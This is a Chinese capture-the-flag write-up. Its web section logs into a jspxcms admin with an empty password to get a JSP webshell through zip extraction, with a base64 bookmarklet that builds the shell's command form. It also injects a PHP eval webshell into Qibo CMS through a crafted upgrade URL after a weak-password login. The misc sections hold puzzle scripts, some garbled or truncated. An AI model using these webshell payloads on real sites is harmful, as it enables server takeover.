DASCTFXCBCTF 个人WriteUp

被last师傅跟atao师傅带飞了,web手yyds
全部题目wp可以在这里下载

WEB

jspxcms

开局登录,直接admin+空密码进去,这里一堆人搅屎,要不然早就进去了

然后参考文章:

复现jspxcms解压getshell漏洞 | lockcy’s cave

基本没啥太大差别,上传,根据教程做好后,上传

点击zip解压

访问:

sdejkwdfnewi3f2jr32d3edfewd.dasctf.node4.buuoj.cn:82/shell/cmd.jsp

是空白页,是经典jsp一种解决方式,新建书签,里面写入

javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

ez_website

齐博cms,事尖尖0day

审计:

代码位置:/application/admin/controller/Upgrade.php

此函数中,会调用writelog,将$upgrade_edition写入文件内部

跟住writelog函数可以发现内容是写入到了runtime/client_upgrade_edition.php内

那直接一个原地写马然后蚁剑梭哈就完事了

解题:

先登录,admin\admin888(弱口令爆破出来的

进入后台

构造poc

http://a98c6cf9-5fa1-478b-9e34-e04f8823c107.node4.buuoj.cn/admin.php/admin/upgrade/sysup.html?upgrade_edition=%22,%22%22=%3E-eval($_POST[%27cmd%27])-%22,];?%3E//

访问

a98c6cf9-5fa1-478b-9e34-e04f8823c107.node4.buuoj.cn/runtime/client_upgrade_edition.php

密码cmd,直接连接getshellllllll

拿下

MISC

问卷题

问卷

red_vs_blue

nc进去,输入r,b来猜谁赢,看似是随机,实际上是伪随机,多试几次可以发现结果已经预定好了,错误后可以重新输入,那么假设全是r,然后如果报错了就改成b就ok了

from pwn import *
import re
import time

p=remote("node4.buuoj.cn",29752)
context.log_level="debug"

list = []
for i in range(66):
    list.append('r')
i=0
flag= []
for j in range(999999):
    p.recvuntil('choose one [r] Red Team,[b] Blue Team:\n')
    while(1):
        p.sendline(list[i])
        rev1=p.recvline()
        rev2=p.recvline()
        if rev1[-9:] == rev2[-9:]:
            i+=1
            if i == 66:
                break
            else:
                p.recvuntil('choose one [r] Red Team,[b] Blue Team:\n')
        else:
            list[i]='b'
            i=0
            p.sendline('y')
            break
    if flag!=[]:
        break

Just a GIF

一个无限猫猫挥拳的gif,直接ffmpeg分离即可(python也一样)

然后图片既然全部分离,观察一下,总数为451张,11张为一轮,共循环41次

然后对同一帧不同轮次的两张图进行对比,可以发现是有些不同之处的

from PIL import Image, ImageChops
import PIL.ImageOps  
import cv2
import numpy as np
import random


point_table = ([0] + ([255] * 255))


f = Image.new('RGB',(119,83),(0,0,0))


def black_or_b(a, b):
    diff = ImageChops.difference(a, b)
    diff = diff.convert('L')
    diff = diff.point(point_table)
    new = diff.convert('RGB')
    new.paste(b, mask=diff)
    return new
    


#for i in range(41):
    a = Image.open('image1.png')
    b = Image.open('image%d.png'%(i*11+1))
    e = black_or_b(a, b)
    final_img = Image.blend(f,e,0.9)
    f =final_img


a = Image.open('image1.png')
b = Image.open('image12.png')
e = black_or_b(a, b)
e.s

猜测这些图片叠一起会有神奇功效,反复测试,发现按照这个顺序进行对比

0 11 22 33…

1 12 23 34…

同帧不同轮次,都跟第一轮进行对比

撰写脚本

from typing import Counter
from PIL import Image
from PIL import ImageFile
import collections


ImageFile.LOAD_TRUNCATED_IMAGES = True
Image.MAX_IMAGE_PIXELS = None


f = Image.new('RGB',(119,83),(0,0,0))


for i in range(11):
    img=Image.open(str(i)+'.png')
    img1=Image.new('RGB',(119,83),(255,255,255))
    for h in range(40):
        im=Image.open(str((h+1)*11+i)+'.png')
        width,height=img.size
        for j in range(0,width):
            for k in range(0,height):
                tmp = img.getpixel((j,k))
                tmp1 = im.getpixel((j,k))
                if tmp != tmp1:
                    img1.putpixel((j,k),(0,0,0))


    img1.save('test'+str(i+1)+'.png')


f.s

获得图片,按照10跟11的顺序拼接即可

万能barcode scanner扫一下就完事了

ezSteganography

肯定是非预期了,qim量化参数难以调整,利用ps大法做出来了

首先直接stegsolver导出g通道图片

获得第一部分 ,获得qim量化的步长为20

直接用matlab做量化处理就行了,不过脚本不是太成功,

QIM.M

classdef QIM
    properties
        delta
    end
    
    methods
        function obj = QIM(delta)
            obj.delta = delta;
        end
        
        function y = embed(obj, x, m)
            % x : a vector of values to be quantized individually
            % m : a binary vector of bits to be embedded
            
            d = obj.delta;
            y = round(x/d) * d + (-1).^(m+1) * d/4.0;
        end
        
        function [z_detected, m_detected] = detect(obj, z)
            % z : The received vector, potentially modified
            % returns : A detected vector z_detected and detected message
            % m_detected
            
            shape = size(z);
            z = reshape(z,1,[]);
            
            m_detected = zeros(size(z),'like', z);
            z_detected = zeros(size(z), 'like', z);
            
            z0 = obj.embed(z, 0);
            z1 = obj.embed(z, 1);
            
            d0 = abs(z - z0);
            d1 = abs(z - z1);
            
            for i=1:length(z_detected)
                if d0(i) < d1(i)
                    m_detected(i) = 0;
                    z_detected(i) = z0(i);
                else
                    m_detected(i) = 1;
                    z_detected(i) = z1(i);
                end
            end
                    
            z_detected = reshape(z_detected, shape);
            m_detected = reshape(m_detected, shape);
                    
        end
        
        function choice = random_msg(obj, l)
            % returns: a random binary sequence of length l
            choice = randi([0 1], l, 1);
        end
            
    end
end

num.m

clear all;
delta = 20;
qim = QIM(delta);
image = imread('test.png');
green = image(:,:,2);


[z_detected, msg_detected] = qim.detect(green);
image(:,:,2) = z_detected;
imshow(image)
imsave 

跑完后获得图片数据,使用matlab的图片工具库即可

显示二元+限制色彩空间

Nuclear wastewater

直接扫码,毛都没有,观察图片,哇金色传说

直接处理图片的三个通道,观察rgb数值,并进行chr,可以发现有大量的重复的内容,猜测可以利用词频进行排序,写脚本就完事了

from typing import Counter
from PIL import Image
from PIL import ImageFile
import collections
ImageFile.LOAD_TRUNCATED_IMAGES = True
Image.MAX_IMAGE_PIXELS = None
r_t =[]
g_t=[]
b_t=[]
myset=[]
picture=Image.open('qr.png')
pix=picture.load()
width=picture.size[0]
for y in range(width):
    for x in range(width):
        r, g, b = pix[x, y]
        if(r == 255 or r==0):
            continue
        else:
            r_t.append(r)
for y in range(width):
    for x in range(width):
        r, g, b = pix[x, y]
        if(g == 255 or g==0):
            continue
        else:
            r_t.append(g)
for y in range(width):
    for x in range(width):
        r, g, b = pix[x, y]
        if(b == 255 or b==0):
            continue
        else:
            r_t.append(b)


myset = set(r_t)
word_freq = collections.Counter(r_t)
for word, freq in word_freq.most_common():
    print (chr(word),end='y'

获得key,将可用字符输入进压缩包,即可解锁flag

flag存在不可见字符,猜测零宽

(vim看的,懒得贴图了)

最后cyberchef一把梭

funny_maze

迷宫题,参考纵横杯那个迷宫和这个文章

求解迷宫问题的三种方法(python实现)_不吃鱼的猫的博客-CSDN博客_python迷宫问题

nc后是求起点到终点的步数输入后就可以进入下一关,迷宫的固定长宽经过测试可知为

11 21 31 101

那直接写脚本就完事了,

from pwn import *


def exp(num):
    dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]  
    path = [] 


    def mark(maze, pos):
        maze[pos[0]][pos[1]] = 2


    def passable(maze, pos):
        return maze[pos[0]][pos[1]] == 0


    def find_path(maze, pos, end):
        mark(maze, pos)
        if pos == end:
            print(pos, end=" ") 
            path.append(pos)
            return True
        for i in range(4):
            nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]


            if passable(maze, nextp):  
                if find_path(maze, nextp, end): 
                    print(pos, end=" ")
                    path.append(pos)
                    return True
        return False


    def see_path(maze, path,number): 
        for i, p in enumerate(path):
            if i == 0:
                maze[p[0]][p[1]] = "E"
            elif i == len(path) - 1:
                maze[p[0]][p[1]] = "S"
            else:
                maze[p[0]][p[1]] = 3
        print("\n")
        for r in maze:
            for c in r:
                if c == 3:
                    number += 1
                elif c == "S" or c == "E":
                    None
                elif c == 2:None
                elif c == 1:None
                else:
                    None
            print()
        number = number+2
        return number


    p.recvuntil("#"*num + '\n')     #读取
    list1 = ["#"*num]
    maze = [[0]*num for i in range(num)]


    for i in range(num-1):
        list1.append(str(p.recvline())[2:-3])


    for j in range(len(list1)):
        for k in range(len(list1)):
            if (list1[j][k] == ' ' or list1[j][k] == 'S' or list1[j][k] == 'E'):
                maze[j][k] == 0
            if(list1[j][k] == '#'):
                maze[j][k] = 1
    for j in range(len(list1)):
        for k in range(len(list1)):
            if(list1[j][k] == 'S'):
                start = (j,k)
                print(start)
            if(list1[j][k] == 'E'):
                end = (j,k)
                print(end)
    number = 0
    find_path(maze, start, end)
    num = see_path(maze, path,number)
    p.recvuntil('your answer:\n')
    p.sendline(str(num))


if __name__ == '__main__':
    context.log_level ='debug'
    p = remote("node4.buuoj.cn",25485)


    p.sendline("1")
    exp(11)
    exp(21)
    exp(31)
    exp(101)
  
© 版权声明
THE END
喜欢就支持一下吧
点赞5
分享